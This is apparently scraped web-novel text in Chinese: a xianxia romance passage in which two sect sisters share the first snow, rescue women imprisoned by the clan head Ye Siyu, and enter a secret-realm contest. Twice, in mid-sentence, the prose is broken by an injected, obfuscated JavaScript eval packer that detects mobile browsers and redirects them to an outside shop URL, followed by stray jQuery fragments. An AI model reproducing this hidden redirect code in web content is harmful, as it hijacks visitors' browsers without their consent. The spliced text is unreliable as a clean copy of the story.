前两日,他们来到徐听晚的房间,温乐天好奇地询问徐听晚,是否掌握了江月平的什么把柄。石观明和柳清云似乎也有此猜测。 徐听晚将江月平告知她的事情一五一十地告诉了大家,并表示自己对此一无所知。 柳清云听后,心疼地说:“小师妹好可怜啊。” 温乐天则恍然大悟道:“原来如此,你让我送的那三样东西中的信,是小师妹给你的呀?” 徐听晚点了点头,道:“是的,没别的事了。” 石观明微微一笑,道:“或许是小师妹想和你拉近关系吧。” 徐听晚闻言,微微皱眉,心中有些疑惑,但嘴上还是回答道:“可能吧。” 这时,门外传来江月平的声音:“大师姐。”徐听晚急忙起身开门,只见江月平递给她一瓶糖水,道:“我去向梅道友请教了糖水的做法,试着做了一下,里面加了雪莲和白桃,你尝尝。” 她身后的三人见状,皆是目瞪口呆,心中暗道:这是小师妹? 温乐天冲到江月平身旁,惊道:“是谁夺舍了我的小师妹!”柳清云连忙拦住他,道:“你看小师妹看向我们的眼神,不还和以前一样吗?” 石观明笑着拍了拍徐听晚的肩膀,两人对视一眼,似乎都在说:你看我说的对吧。 现在,整个院子里静悄悄的,只有她们两人相依相伴。徐听晚小心翼翼地拿起一颗灵果,轻咬一口后,便微笑着将另一颗递给了江月平。 江月平接过灵果,那一刻,徐听晚仿佛真的看到了她眼中闪烁的笑意,温暖而真挚。徐听晚鼓起勇气,轻轻握住江月平的手,见她并未拒绝,心中涌起一股暖流。她浅笑着凝视着江月平,心想,或许她们真的能成为彼此生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14176917|146283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 命中不可或缺的好友,同时也是相互激励、势均力敌的竞争者。 “月平,眼看冬天就要来了,你上次说想在初雪前赶回来,是不是想和我一起欣赏那第一场雪?”徐听晚一边随意地摆弄着江月平的手指,将它们逐一叠起,一边轻声问道。 这一刻,徐听晚不禁想起了秀珍,她曾经最最要好的朋友。小时候,她和秀珍常常玩叠手指的游戏,看谁能坚持更久;大学时,她总喜欢捏秀珍那肉乎乎的小手,逛街时秀珍总是紧紧牵着她的手,带着她前行;毕业后,她们一同来到海边,手牵手在沙滩上奔跑,嬉戏打闹。 “嗯。”江月平轻轻点头,目光温柔地落在徐听晚摆弄她手指的动作上,任由她这般亲近。 “月平,这世家宗门的事件记载册真是看得人头疼不已。”徐听晚轻轻叹了口气,向江月平抱怨道。 江月平接过书册,柔声说道:“若是看得头疼,不如我来念给你听吧。” 徐听晚轻笑一声,随即趴在桌子上,笑着说:“你念给我听,我恐怕会直接听着听着就睡着了。” 储物袋中的书卷轻轻散发着灵光,她猛地站起身,从中取出那卷书。 “你的母亲,是玄天剑宗掌门姜满。” 徐听晚瞪大了双眼,眉头紧锁,满脸不可思议。 姜掌门……怎会如此?她为何会做出这等事情……林流华又为何会恨姜掌门呢? “大师姐,发生何事?” “初雪过后,我们先去叶家一趟,随后直接去沧澜符宗参加秘境对决。”徐听晚皱眉说道。 江月平闻言点了点头:“我这就去通知大家。” 原本打算用书卷召集众人的徐听晚一时愣住,这小师妹,自得到机缘归来后,竟变得如此亲近。 以往,两人之间似乎总隔着一层无形的纠葛,徐听晚曾试图打破,却无果。而今,江月平自己却将其撕破了,这让徐听晚反倒有些不适应。 片刻思索后,徐听晚心中释然了几分,她拉起江月平的手道:“还是用书卷吧,我来把大家叫来。” 江月平眼神慌乱,急忙垂下眼眸,轻轻点了点头。 “大师姐,我听说梅家城有一座高耸入云的花云楼,站在上面可以俯瞰整个梅家城,到时候我们一起去那里赏初雪吧。”江月平的声音中难得带着一丝温柔。 徐听晚凑到她面前,笑嘻嘻地说:“好啊,到时候我谁也不带,初雪一落,我就拉着你跑到那最高楼上去。” 徐听晚的眼中闪烁着纯粹的星光,而江月平的眼中,却像是汹涌的海浪被瞬间冻结,满是克制。 初雪悄然降临于傍晚时分。 彼时,徐听晚的伤势已痊愈,她正于院中舞剑,动作流畅而有力。江月平则在一旁专注地绘制符咒,以备不时之需。 天边残留的余晖温柔地洒满了整个院落,为这宁静的场景增添了一抹暖意。当第一片雪花缓缓飘落时,江月平尚未及反应,徐听晚已迅速握住了她的手。 “小师妹,走,咱们去花云楼。”徐听晚的眉眼间洋溢着愉悦的笑容。 此时,一旁正在敲打铁器的温乐天与埋头看书的石观明交换了一个眼神。温乐天无奈地叹了口气,道:“大师姐,要是她能对我展现出对小师妹一半的温柔,那该多好啊。” 石观明闻言,轻轻一笑,道:“你大师姐小时候在宗门里可是有个响当当的外号,叫混世大魔王。她拔过医药堂叶长老的胡子,骑过外门闻长老的肩膀,还偷过灵器阁张长老的御灵伞,当成船从宗门广场的斜坡上滑下去,甚至给后山兽林白长老的契约兽喂了爆辣果。尽管她做了这么多调皮捣蛋的事情,但四位长老依然对她疼爱有加。” 言罢石观明微微叹气,可惜大师姐从不愿回望这些已经拥有的过往,她总是渴望得到那些未曾拥有的东西,比如,她的父亲。 温乐天惊讶地挑了挑眉,实在难以想象性情淡漠的大师姐竟会做出如此举动,这着实令人咋舌。 “话说回来,大师姐后来为何会变得如此淡漠呢?” 石观明微微垂眸,并未直接回答,只是轻轻摇头,说道:“你若真想知道,不妨亲自去问她。” 温乐天连忙摆手笑道:“二师兄,你就别打趣我了。要是让大师姐知道我知道了她这么多糗事,她还不直接把我‘灭口’了?” 石观明闻言,轻笑一声,道:“下雪了,我还是回房看书去吧。” 温乐天耸了耸肩,道:“那我也回房了。” 另一边,徐听晚紧紧握着江月平的手,两人匆匆穿过熙熙攘攘的人群,直奔花云楼的最高处。楼梯间,他们的脚步声与外界的喧嚣交织,却又仿佛都离他们很远。 终于,两人来到了最高楼的露台。尽管周围人来人往,热闹非凡,但在江月平眼中,这一切繁华都失去了色彩,她的目光始终追随着徐听晚。 徐听晚站在露台边缘,任由凉风吹拂着她的发丝和衣角。她深吸一口气,仿佛要将这高处的清新空气全部纳入胸膛。随后,她转过头,望向远处的街道,那里的人们正各自归家,每个人的脸上都写满了不同的故事。 “小师妹,这里风真大。”徐听晚轻声说道,声音在凉风中显得格外温柔。她的目光从远处的街道收回,落在江月平身上,微微扬眉。 “大师姐……”江月平的话语在喉间凝滞,徐听晚迅速挽起她的胳膊,浅笑道:“小师妹,咱们一起在四周漫步吧,待到今晚花云楼上的灯笼逐一熄灭,我们再返回,意下如何?” 江月平转过头,清澈的眼眸与徐听晚的相视,片刻后,她微微颔首,神色中带着一丝懵懂。此时,轻盈的初雪随风飘落,轻轻点缀在两人的发梢之上。 徐听晚转身望向远方那星星点点的灯火,耳畔隐约传来自她们楼下飘来的悠扬琴声。江月平的脸颊不自觉地染上了一抹绯红,那琴声仿佛正诉说着她内心深处的情愫。 山有木兮木有枝…… 44.叶家 花云楼的琴声悠扬落幕,紧接着,说书人的声音缓缓响起。随着雪花愈发密集,地面渐渐铺上了一层洁白,远处人家的灯火也一盏盏熄灭。两人坐在高处,静静地聆听说书人口中讲述的传奇故事。 故事聚焦于上一届亲传弟子间的秘境对决,徐君彦的名字频繁在说书人的口中回响。徐听晚听得格外认真,她虽知父亲在亲传时期便已声名远扬,却未曾料到其事迹远比想象中更为辉煌。 她沉浸于故事中,浑然不觉雪花已落满了肩头。此刻的花云顶楼,唯有她们二人相依。江月平抬手欲拂去她身上的雪花,却惊动了徐听晚。她侧头望来,眼神中带着一丝惊讶,随即化作笑意,任由江月平轻轻拍去她身上的雪花。 四周除了说书人的声音外,一片静谧。江月平的话语随风飘散,显得格外轻柔。 “大师姐,能帮我拍拍身上的雪吗?”江月平轻声问道。 徐听晚侧首望向她,只见雪花覆盖着她的长睫,发丝间也点缀着点点白雪,一身青衣在风雪中显得格外单薄。 “好。”徐听晚轻声应允,抬手轻轻拂去她身上的雪花,又取出手帕,细心地拭去她眼角的雪花。 江月平嘴角微微上扬,轻声道:“谢谢大师姐。” 徐听晚微微蹙眉,随即也勾起嘴角,目光温柔地注视着她:“小师妹,你应该多笑笑,很好看。” “大师姐,你也应该少皱眉。”江月平眉眼柔和,轻声回应。 徐听晚抬手摸了摸自己的额头,嘴角勾起一抹轻松的笑意:“好。” 她轻轻垂下眼眸,凝视着一片雪花缓缓飘落在栏杆上,渐渐地与其他积雪融为一体,在月光的映照下,雪花更显清冷。 “秋阴不散霜飞晚,留得枯荷听雨声。”江月平的声音宛如潺潺流水,她用眼角的余光观察着身边的人,试图将徐听晚的注意力从说书人那里拉回。 徐听晚轻笑一声,说道:“听晚这个名字是我母亲取的,确实来源于这句诗。那时,她是真的疼爱我。” 察觉到徐听晚想起了忧愁之事,江月平紧紧握住她的手,轻声说道:“大师姐,我的手好冷。” 徐听晚转过头,嘴角微微上扬,打趣道:“月平,你这是在向我撒娇吗?”她惊讶地看着江月平那双认真的眼睛,心中不禁疑惑:这是我的小师妹吗? “嗯。”江月平轻轻抬起眉毛,柔声回应。 “小师妹,你是不是被风吹得糊涂了?”徐听晚微微蹙眉,脸上满是不可思议。 “对,被风吹糊涂了,手都冻凉了。”江月平的声音轻柔细腻,眼中满是乖巧与灵动。 徐听晚拉起江月平的手,放在掌心轻轻揉搓着。 “你明明比我大,却还像个小孩子一样。”徐听晚的声音中带着一丝无奈与宠溺。 江月平轻轻皱眉,眼中满是温柔,垂下眼眸时,嘴角露出一丝狡黠的笑容,宛如一只得到心爱玩具的小猫。 “我会永远追随大师姐的步伐。”她轻轻地将脸颊贴近徐听晚的手边,抬眼深情地望着她。 徐听晚的动作微微一顿,脸上露出不可思议的神情,心中涌起一股奇异的感觉。 “是吗?”她低下头,嘴角虽然依旧是上扬的样子,目光冷漠地注视着江月平,眼中没有丝毫情感波动。 江月平紧紧攥住她的手,眼神中满是委屈:“大师姐不是说过,我们要纠缠到死吗?” 徐听晚收起脸上的笑容,试图抽回自己的手,却发现被江月平抓得牢牢的。她烦躁地皱起眉头,低声说道:“放手。” 江月平挺直身子,缓缓松开她的手,眼眸低垂。 “如果恩怨能够了结,就彼此放过吧。”徐听晚以为江月平刚才那句话是在威胁和嘲讽她。 江月平不解地皱起眉头,心中的情绪如波涛般翻涌。她猛地再次抓住徐听晚的手,随后无奈地叹息道:“大师姐,灯已经熄灭了,我们回去吧。” 徐听晚任由她抓着,面无表情地走在前面。她根本猜不透这个小师妹的心思,对她感到束手无策。 “月平,真拿你没办法。”徐听晚回头看向她,江月平抬头仰望着她,沉默不语,心中满是无奈:大师姐,我才是真的拿你没办法啊,我们之间连简单的朋友关系都难以维系。 望着江月平委屈的眼神,徐听晚眨了眨眼,反握住她的手,转过头继续前行。 没过多久,便迎来了前往叶家的日子,五人脚踏飞行灵器与灵剑,一路向叶家疾驰而去。 徐听晚心中颇为惊讶,她们一行五人竟然轻而易举地踏入了叶家的府邸大门。 整个叶家城显得异常诡异,城中的子民个个精神萎靡,商户更是稀少,其繁华程度尚不及银月城的五分之一。 随着她们的深入,周围的建筑愈发显得奢华而高贵。 随后,她们被侍卫引领至叶家家主叶司玉的面前。 叶司玉相貌平平,眉眼细长,他细细地打量着徐听晚与江月平二人。 石观明不动声色地挡在她们身前,对着叶司玉拱手行礼道:“叶家主,打扰了。” 叶司玉随意地摆了摆手:“不打扰,不打扰,有两位美人来访,还有什么事能比这更重要呢?哈哈哈哈,言归正传,你们此行的目的是什么?” 徐听晚暗自松了一口气,这样的叶司玉最容易掌控。她走上前去,递上一张纸条:“不知叶家主是否还记得此事?” 叶司玉接过纸条,眉头紧锁,怒斥道:“哼,这林家,真是上不了台面!” 徐听晚心中暗自腹诽,他怎好意思如此说别人。 “多谢美人告知,原来当年那个戴面罩的女人是林家派来的,竟敢对我下手。”叶司玉的面目变得狰狞。 “叶家主放心,此事家父也会在暗中助您一臂之力。” 听见徐听晚的话,叶司玉舒展了眉头,笑眯眯地看着她:“那可太好了,你叫听晚对吧?要不要我给你们安排房间,在此稍作休息?我定会为你们准备最好的房间。” 徐听晚摆手拒绝:“不必了,叶家主,我们过两天还要参加秘境对决。” 叶司玉笑着点了点头:“对对对,马上就要举行亲传弟子之间的秘境对决了。” 徐听晚拱手行礼:“那我们就先行告退了。” 叶司玉急忙起身:“我送送你们。” 徐听晚强忍住心中的烦躁,点了点头。这叶家主表面上看是化神初期的修为,可气息却十分微弱。 叶司玉缓缓踱步至徐听晚身旁,徐听晚本能地向一侧闪避。江月平则强压下心头的愤慨,目光如炬,紧紧锁定着叶司玉。 柳清云面露嫌恶,微微蹙眉。这位叶家家主,眼白泛黄,唇色黯淡无光,耳畔泛着灰黑之色,显然是纵欲过度的迹象。 石观明与江月平迅速挡在了徐听晚与叶司玉之间,形成了一道屏障。 一行人穿过一个庭院时,内里隐约传来女子的哭泣之声。 徐听晚循声望去,只见一名女子正扒着门缝,却被人狠抓着头发往里拖拽。 徐听晚不禁开口询问:“这是何意?” 叶司玉轻笑一声,满不在乎地解释道:“我这五夫人,脑筋有些不太灵光,徐小友莫要见怪。” 此言一出,徐听晚虽心有不满,却也无可辩驳。毕竟,她此刻正需与叶家维系良好的关系,贸然翻脸绝非明智之举。 “叶家主,虽修仙界并无明文规定一夫一妻,但一人娶多妻,终究为人所不齿。”江月平冷冷地开口,语气中带着不容置疑的坚定。徐听晚深吸一口气,目光紧随着江月平挡在那女子身前。她紧握双拳,猛然一脚踢向叶司玉的面门,心中的怒火再也无法遏制。 叶司玉被这突如其来的一脚打得晕头转向,捂着鼻子连连后退。江月平趁机踢开抓住女子头发的侍卫,冷声道:“叶家主,此事我定会告知各宗门和各世家,你叶家就等着被讨伐吧。你这叶家城,只怕日后也无人敢来了。” 徐听晚心中暗叹,女主果然正义凛然。可眼下她们该如何脱身?一时冲动,后续又该如何应对? 叶司玉怒吼一声:“来人!一个都别想走!” 徐听晚心念一动,迅速抽出判决剑,横在了叶司玉的脖颈之上。这叶司玉虽已踏入化神初期,但修为却极为虚浮。 侍卫们渐渐围拢过来,徐听晚微微用力,叶司玉的脖颈上便出现了一道血痕。他顿时惊恐地大喊:“别过来!” 他试图调动灵力,却发现自己的灵力已被徐听晚牢牢压制。江月平扶起那名女子,女子紧紧抓着她的衣袖,颤声道:“还有好多和我一样的女子,都被关在他的后院里。” 江月平面露忧色,轻蹙眉头,心中暗自思量:倘若此刻离去,那些无辜的女子必将难逃厄运。 “大师姐,我们不能就此离开。一旦我们走了,其他女子定会丧命于此人之手。”她急切地劝说道。 徐听晚闻言,亦是微微蹙眉,语重心长地道:“小师妹,这可不是逞匹夫之勇的时候。我们身处他人地界,且只有五人之力。” “大师姐,请相信我。”江月平坚定地说道。 徐听晚轻叹一声,略带无奈地道:“相信你?你可清楚此处侍卫的数量与实力?他们个个修为不弱,最低亦是筑基巅峰,更有甚者已达金丹中期。真是拿你没办法。月平,你速去请姜掌门与乐天温前辈前来相助。” 柳清云走至叶司玉面前,毫不迟疑地将一瓶毒药灌入其口中,随后紧紧抓住他的衣领,厌恶地道:“真是令人作呕。”她所喂之药,乃是能压制修为的毒药。 江月平转头看向一旁的女子,冷静地道:“你来引路,我们前去解救其他人。”那女子闻言,连忙点头答应。 徐听晚轻叹一口气,心中暗自忧虑:小师妹终究还是太过年轻,仅凭一名女子的一面之词便轻易做出决断。若被骗,后果将不堪设想。但愿这女子所言属实。 她眼神一凛,心中已有了计较:即便此言不实,叶司玉也定有问题,经不起深查。届时,自有办法让他下台。主血脉一旦断绝,护城阵法便会重新绑定,到时扶持一个旁系上位便是。 叶司玉的声音带着颤抖,低语道:“倘若她们真的到来,我誓与你们同归于尽!”徐听晚紧紧拽着他的脖颈,随着那女子向后行去,闻言,她嘴角勾起一抹冷笑,说道:“在我命丧黄泉之前,我定要让你生不如死。”她的声音冷冽如寒风刺骨,让人浑身战栗。 叶司玉紧锁眉头,他素来不参与任何公开活动,外界皆以为他是个体弱多病、性情温和之人,对叶家更是轻视有加,他也因此得以过上平静的生活。然而,这五人的突然出现,却打破了他原有的宁静。 他们一步步走向后院,只见满院子的女人形态各异:有的身着华丽衣裳,正在悠闲地浇花;有的神情呆滞,蜷缩在角落;有的满身珠宝,手中还紧握着东珠;有的轻纱遮体,衣不蔽体,身形瘦削,却仍奋力争抢着手中的饭碗…… 各式各样的女人,汇聚在这个宽敞的院子里。院子虽大,但此刻众人似乎都有意围在前院,正欺凌着中间那位头发散乱、衣领半开的女子。 徐听晚抬头望向院中错落有致的木楼,楼层越高越显华贵,这景象让她感到一阵强烈的不适,胃中翻腾不已。 红绸轻纱散落一地,而外面的百姓却连饭都吃不饱。 后院的女子目睹众人闯入,徐听晚身旁的女子迅速扑向那个被众人围困在中心的女子。 “别怕,我们很快就会获得自由。” 紧接着,侍卫们也闯了进来,那位神情恍惚、蜷缩在角落的女子惊恐万分地四处奔逃,嘴里不停地喃喃自语:“别看我,院子里的女人不能被外男看见,别打我,我不是故意的,求你们别打我!” 她开始歇斯底里地尖叫,众人的心情在这片混乱中愈发焦急。 所有女子都将愤怒的目光投向正用剑架在叶司玉脖子上的徐听晚,她们的眼神中充满了敌意。一位正在浇花的女子拿起花盆狠狠砸去,徐听晚灵活转身,花盆却不幸砸在了叶司玉的身上。 叶司玉娇弱的身躯踉跄后退两步,带着哭腔说道:“叶君,安安无能,无法救你。” 另一位手上戴满首饰的女子冲进屋内,拿出一把剪刀抵在自己的脖子上,她双眼噙泪地说:“如果家主死了,我便随他而去。” 她们的话语字字情真意切,徐听晚心中不禁嗤笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187738|146283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一声,真是如意算盘,若叶司玉死,便能获得自由;若叶司玉活下来,她们也能得到更多的宠爱。 江月平似乎无法理解她们的想法,皱着眉劝道:“你们很勇敢,但叶家主并非良配,你又何必如此执着。” 女子们瞪了她一眼,依旧坚持自己的立场,双眼含泪地为叶司玉辩护。 徐听晚没有理会这些人,现在只需耐心等待接应的人到来即可。 突然,衣衫凌乱跪在女人中央的女子,紧紧抱住先前引领徐听晚前来的女子,小声在她耳边狠狠道:“倘若我能获得一丝宠爱,便不会饱受饥饿之苦,更不会遭人白眼。”言毕,她猛地拔下发簪,狠狠地刺入身旁女子的脖颈。 被刺的女子瞪大双眼,满是不敢置信地望着她。那女子含泪回首,望向叶司玉,悲切地说:“家主,我对您的忠诚天地可表。她们诬蔑我与外男私通,这怎么可能?是这个女子引他们来的!对不对,为了家主,我即便双手沾满鲜血,亦在所不惜!” 柳清云慌忙上前捂住伤口,但簪子扎得太深,鲜血如泉涌般无法止住。中品、上品的止血丹普通人难以承受,而下品的止血丹又难以遏制簪子拔出后的汹涌血流。 行刺的女子似乎未曾料到自己下手如此之重,她心中郁气难平,情绪早已失控。 叶司玉嘴角勾起一抹冷笑:“真是我的好夫人们啊。” 徐听晚的剑锋又向他的脖颈深入一分,她冷笑一声:“你是不是很得意?待会儿这里有多少女人,我就在你身上刺多少刀。放心,在刺完之前,你绝不会死。” 她抬眼望向满脸震惊的江月平,轻笑一声:“小师妹,现实便是如此残酷,你别怪她们,她们只是想活下去。” 江月平看着徐听晚微微颤抖的指尖,心中五味杂陈。石观明轻轻拍了拍她的肩膀以示安慰,自从大师姐与小师妹关系和睦后,他便真心将江月平视为妹妹。见她如此激动,便知她满心疑惑。 女人的尖叫与哭泣声交织在一起,让这场面更显荒诞不经。 围攻而来的侍卫们无人胆敢向前迈出一步,他们面面相觑,犹豫不决。终于,一位侍卫挺身而出,她竟是一位女子,脸上横亘着一道触目惊心的疤痕。她毫不犹豫地冲向那位已经陷入疯狂的女子,紧紧抱住她颤抖的身躯,声音中带着哭腔:“妹妹别怕,姐姐这就带你回家!”她原本以为,妹妹嫁给叶家主后,便能衣食无忧,却没想到会落得如此境地。 有了这位侍卫的带头,其他侍卫也纷纷开始寻找各自的家人,准备离去。其中,也不乏一些趁机浑水摸鱼之人。一个肥头大耳的侍卫,搂着刚才那个衣衫凌乱、用发簪伤人的女子不放。 女子拼命挣扎,大声呼喊:“我不认识你!” 石观明眼疾手快,一把捏住那侍卫的脖子,将他狠狠甩了出去,厉声道:“都说了,她不认识你!” 女子慌忙捂住自己的衣服,凶狠地瞪视着周围的人。一滴血泪从她的眼眶滑落,她看着身旁意气风发、干净整洁的江月平和一身华贵、英姿飒爽的徐听晚,不甘心地咬了咬嘴唇,心中充满了愤懑与不解。 她的指甲深深嵌入手心,徐听晚自然明白她心中的想法。然而,徐听晚并未多言,毕竟未经他人苦,莫劝他人善。此刻,任何的话语都显得苍白无力。 江月平欲开口劝导,却被徐听晚打断:“小师妹,你去问一下姜掌门要的东西到了没。” 江月平闻言,点了点头,低头继续翻阅着手中的书卷。 徐听晚并不想与这些小人纠缠,因为她深知,突如其来的恨意往往令人难以招架。 柳清云怀中的女子渐渐失去了气息,鲜血染红了地面,白雪与鲜血交织在一起,血腥味与寒意交织,令人感到更加恶心与不适。 他轻轻地将女子放下,这个场景对他的冲击极大。小师妹只是微微皱眉,而他则双眼颤抖,无法接受这一残酷的现实。 温乐天面无表情地注视着这一切。其实,黑阁早已收到一丝风声,但介入此事无疑会卷入一场浑水,毫无益处。 黑阁的成员都是散修,他们聚在一起赚取灵石,也是希望在修仙之路上能够互相照应。 这件事一直搁置在温乐天的待办事项中,因为他一直没有找到最佳的解决方案。他心中虽然有着自己的正义感,但黑阁里的人对他一直很好,他不能为了私欲而害了他们。 最先抵达的是姜满,因地处西北,对她而言便会近些。 紧随其后的是剑竹宗掌门,四位亲传弟子及众多内门弟子。孟鹤目睹此景,眉头紧锁,眼神中透露出愤怒。 姜满步至徐听晚面前,眼神中满是忧虑,以严厉的口吻说道:“你此举太过鲁莽。” 徐听晚沉默不语,江月平则低垂眼眸,欲开口解释:“姜掌门,其实……” “姜掌门,是非曲直自有公论,倘若人人皆选择逃避,这世间岂不乱了套?”徐听晚打断了江月平的话。 孟鹤满含欣赏地看着徐听晚,他早说过她是个外冷内热之人,二师妹却偏要说她心狠手辣。 月恒疑惑地望着徐听晚,难道自己真的看错了人?她的直觉一向很准啊。 初千墨猛地一拳击在叶司玉的胸口,脸上满是厌恶之情。 傅亦舟连忙上前劝阻:“大师姐,别激动!” 姜满叹了口气,随后冷眼看向剑锋下的叶司玉:“叶家主,我们不会冤枉你,各宗门、各世家都会派人前来调查。若你并无囚禁虐待他人的罪行,自然相安无事。” 见状,那些原本献媚的女子纷纷噤声。不久,温苏和谢止寒也带着一些内门弟子赶到。 姜满与谢止寒对视一眼,眼中满是警惕。两派弟子更是势如水火,并非两人有私怨,而是玄天剑宗与沧澜符宗世代有仇,一直争夺第二宗门的名号,关系早已僵化,弟子间也常在书卷上互相谩骂。 事情处理完毕后,叶司玉在各宗门和世家的判决下被处死。 徐听晚站在判决台上,面带微笑地看着他:“我来履行我们的约定了。” 月恒皱眉看着这一切,她明白,自己根本没有看错人。 事情结束后,众人一同前往沧澜符宗参加秘境对决。 45.云石秘境 上 “叶长老!”柳清云满怀激动,快步奔去,紧紧抱住了医药堂的长老叶含山。 叶含山身旁,站着外门长老闻堰。闻堰长老眉宇间英气勃发,身着一袭束腰黑衣,银饰护腕闪烁着冷冽光芒。她的发丝用发带高高束起,简约而不失干练,从不以发簪点缀,亦不将剑藏于储物袋中,而是将其佩于腰间,对这把灵剑爱护有加。 “听晚!”闻堰长老的声音浑厚有力,眼眸深邃如墨。 “来了。”徐听晚闻声疾步上前,却未及近身,便被闻堰长老一把拉了过去。闻堰长老从袖中取出一条银丝玉珠手串,轻轻绑在了徐听晚的手腕上。 “这淡黄色的小玉珠可非寻常之物,我去泽明器宗办事,一眼便看中了这手串。我觉得,它与我的小晚极为相配,便从那抠门的沈怀溪手中硬买了下来。”闻堰长老笑道。 徐听晚望着手串,嘴角不禁微微上扬。温乐天凑近一看,惊讶万分:“这玉绝非凡品,难怪沈掌门不愿割爱。此乃能储存与温养灵力的灵玉,与大师姐腰间的九玉缠金吊坠同属一阶。佩戴时间越久,便越显灵气,甚至有传闻说能孕育出器灵。” 闻堰长老闻言大笑:“我也不懂这些,难怪那沈怀溪半天不肯放手。” 温乐天好奇地问道:“闻长老,您究竟花了多少灵石?” 徐听晚同样满心期待,想知道究竟是多少灵石,能让泽明器宗的沈掌门将这珍贵手串拱手相让。 “五块上品灵石!”闻堰长老瞪大眼睛,爽朗说道。 温乐天和徐听晚闻言,皆是一愣。温乐天的嘴角缓缓下垂,徐听晚则眨了眨眼,五块上品灵石,连五张上品爆裂符都换不来。 “闻长老,沈掌门莫非有什么把柄在您手中?”温乐天难以置信地问道。 温乐天眉头紧锁,继续说道:“闻长老,这一颗玉珠,即便是千块上品灵石也难以求得,属于有价无市之物。” 闻堰长老脸颊微红,摆手笑道:“哎呀,反正他卖给我了。我来数数这手串上有多少颗玉珠。” “一共十一颗。”徐听晚将玉手串取下,却被闻堰长老重新戴上:“取下来做什么,多好看。十一颗,怎么不弄个十八颗呢,十八寓意平安健康,多好。” 温乐天反驳道:“闻长老,这您就不懂了吧。十一颗寓意转运利势。” 闻堰长老笑着点头:“这也好,这个也好。” 柳清云与石观明正同叶含山长老交谈,而一旁,江月平孤零零地站着。徐听晚见状,微微蹙起眉头,温柔地将江月平拉到身边。 “闻长老,您看,月平现在的修为已经超越我了。”徐听晚说道。 闻堰是五行道宗所有弟子的基础剑法导师,她轻轻摇头,赞叹道:“我虽看出月平的修为已高于你,但在剑法上的天赋,你依然是我见过的最杰出的弟子。” 江月平注视着徐听晚,眼中闪烁着喜悦的光芒,轻声回答:“万锋剑法的第三式我还未能完全领悟,所以在剑法上自然还比不上大师姐。” 徐听晚原以为小师妹会因此感到不快,没想到她如此坦然回答。 “小师妹,若是在剑法上有任何疑惑,尽管来问我。”徐听晚微笑着看向江月平。 闻堰大笑起来:“听晚还是像以前一样,乐于教导你这个小师妹。记得以前,你总是找她练习剑法,我的听晚,真是世上最善良的女孩。” 徐听晚尴尬地轻笑两声,而江月平则真诚地附和:“闻长老说得没错。” 徐听晚不知为何感觉她在嘲讽,但江月平并无此意,只是觉得这样说会让大师姐高兴。只要能让大师姐高兴,她愿意说任何话。 徐听晚的眼神微微黯淡,江月平见状,微微蹙眉,心想大师姐又不高兴了。 她正要松开拉着江月平的手,淡然开口道歉,却被江月平急切地打断:“多亏那时候有大师姐的磨练,我才有了今天的成就。我修炼起步较晚,即使有天灵根的天赋,也很难打好基础。多谢大师姐了。” 徐听晚凝视着她的眼睛,那里满是真诚,让她感到有些不可思议。 江月平的确在修炼之路上起步较晚,这主要是因为她从上北城逃亡至银月城,足足耗费了十年的光阴。这一路上,她饱经风霜,历经重重困难。通过做一些零工杂役,她逐渐能够吃上干净的食物,穿上干净的衣裳。最终,她凭借着自己的努力,通过了严苛的试炼,成功踏入了五行道宗的大门。 虽然这些徐听晚在小说中都已经知晓,但江月平从未提起过,她也只好装作不知。 秘境对决拉开序幕。 云石秘境,地势错综复杂,众多小型山体悬浮于空中,其下则是深不见底的万丈深渊。曾有亲传弟子不慎昏迷坠落,因为腰间符咒未损,遗憾逝去。因此,这里立下了一项铁律:一旦发现昏迷之人,必须首先摧毁其腰间的符咒,并将其安全送出,同时严禁御剑或使用飞行灵器,以免破坏阵法,惊扰高阶妖兽。 徐听晚敏锐地捕捉到了姜满的注视,却故作不知,刻意回避。 她从未向任何人透露过姜满是她亲生母亲这一秘密,这是她手中的一张重要底牌。 姜满肯定是知晓此事的。若非她默许,父亲绝不可能从她手中将徐听晚带走。 将来若姜满不愿相助,这张底牌便是她的筹码,毕竟掌门之间不能有私情。 若姜满心生杀意,欲灭口除患,或是与父亲暗中勾结,那局势便棘手了。 这张底牌一旦使用不当,恐怕会落得个两败俱伤,玉石俱焚的下场。 只能见机行事了。 “大师姐,你所思何事?”江月平轻声细语,站在徐听晚的身旁问道。 望着江月平那双清澈如水的眼眸,徐听晚嘴角勾起一抹浅笑,眼中却闪烁着复杂的光芒,她难以分辨江月平眼中的真假,只能以复杂的眼神回应:“我在思索,倘若柳清云自一开始就因运气不佳而被淘汰,这会对我们产生何种影响呢?” 江月平的声音依旧轻柔:“此次秘境范围有限,战斗定会频繁发生,或许根本无需依赖持续的治疗。” 徐听晚闻言,微微颔首,目光转向一旁正忙着与某人用书卷交谈的柳清云,嘴角再次浮现出一抹轻笑:“他可不想太早出局,毕竟,还有人在看着他呢。” 江月平轻轻摇头,说道:“这终究取决于他自己。” “月平,待此次秘境对决结束后,我们便返回宗门。到时候,你搬到我隔壁去住吧,一直住在内门弟子院落中,确实多有不便。”徐听晚的话语温和而诚挚。 以往,徐听晚总是找各种理由阻止江月平搬到亲传院落,而江月平自己也曾表示习惯了住在那里,此事便一直悬而未决。 然而,江月平并未在意过往的种种,她只听到了自己可以住在大师姐隔壁的喜讯,于是立刻欣然应允。 